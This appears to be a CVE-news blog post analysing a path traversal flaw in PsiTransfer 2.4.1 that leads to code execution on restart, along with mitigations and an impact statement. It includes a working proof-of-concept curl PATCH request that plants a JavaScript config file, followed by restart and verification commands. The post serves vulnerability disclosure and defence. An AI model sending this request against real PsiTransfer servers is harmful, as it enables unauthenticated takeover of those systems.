PsiTransfer, Path Traversal to RCE, (Critical)

Listen to this Post

The vulnerability exists in the upload PATCH flow under /files/:uploadId. The outer middleware validates the request path using the still-encoded req.path, while the downstream handler later writes using the decoded req.params.uploadId. For a request such as /files/..%2Fconfig.production.js, the outer check sees the encoded value ..%2Fconfig.production.js, but the downstream `patch(‘/:uploadId’)` route receives the decoded parameter ../config.production.js. In the same code path, the `catch` branch uses if(! e instanceof httpErrors.NotFound), which does not correctly stop execution on a missing upload target. The write sink `Store.getFilename(fid)` resolves `path.resolve(uploadDir, fid.replace(‘++’, ‘/’))` and then only checks startsWith(uploadDir). With a supported custom upload directory such as <app_root>/conf, the decoded target `../config.production.js` resolves to <app_root>/config.production.js, and the jail check accepts it because the resolved path begins with <app_root>/conf. `store.append()` creates the target write stream first and only consults the JSON sidecar in the `finish` handler. As a result, `PATCH /files/..%2Fconfig.production.js` returns `404 Not Found` but still leaves an attacker-controlled `config.production.js` on disk. On the next start, `config.js` executes `require(path.resolve(__dirname, config.${process.env.NODE_ENV}.js))` when the file exists.
Platform: PsiTransfer
Version: 2.4.1
Vulnerability : Path traversal RCE
Severity: Critical
date: 2025-04-16

Prediction: Patch expected 2025-05-15

What Undercode Say:

Start vulnerable PsiTransfer instance
NODE_ENV=production PSITRANSFER_UPLOAD_DIR=/opt/psitransfer/conf npm start
Exploit: Write malicious config.production.js
curl -X PATCH "http://target/files/..%2Fconfig.production.js" \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Offset: 0" \
-H "Content-Type: application/offset+octet-stream" \
--data 'module.exports = {}; require("fs").writeFileSync("/tmp/psitransfer-rce-proof", "owned");'
Restart the service
systemctl restart psitransfer
Verify RCE
ls -la /tmp/psitransfer-rce-proof

Exploit:

  1. Set `NODE_ENV=production` and `PSITRANSFER_UPLOAD_DIR` to a custom `conf` directory.
  2. Send a PATCH request to `/files/..%2Fconfig.production.js` with JavaScript payload.
  3. Server returns 404 but writes `config.production.js` to application root.
  4. On restart, Node.js executes the injected config file, granting RCE.

Protection from this CVE

  • Reject PATCH requests unless expected sidecar metadata already exists.
  • Avoid upload directory names that prefix startup-loaded paths under the application root.
  • Upgrade to patched version once available.

Impact:

Unauthenticated attackers can execute arbitrary code with the PsiTransfer service account upon next restart, leading to full compromise of confidentiality, integrity, and availability.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top